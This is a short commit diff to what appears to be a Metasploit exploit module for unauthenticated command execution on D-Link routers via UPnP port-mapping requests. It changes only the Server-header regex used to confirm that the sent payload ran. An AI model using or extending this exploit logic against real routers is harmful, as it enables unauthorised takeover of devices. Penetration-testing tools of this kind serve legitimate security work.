fixing server header check

Author: m-1-k-3

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

@@ -105,13 +105,13 @@ def exploit_cmd(new_external_port, new_internal_port, new_portmapping_descriptio
 		cmd = payload.encoded
 		type = "add"
 		res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
-		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
+		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
 			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
 		end
 		print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
 		type = "delete"
 		res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
-		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
+		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
 			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
 		end
 		return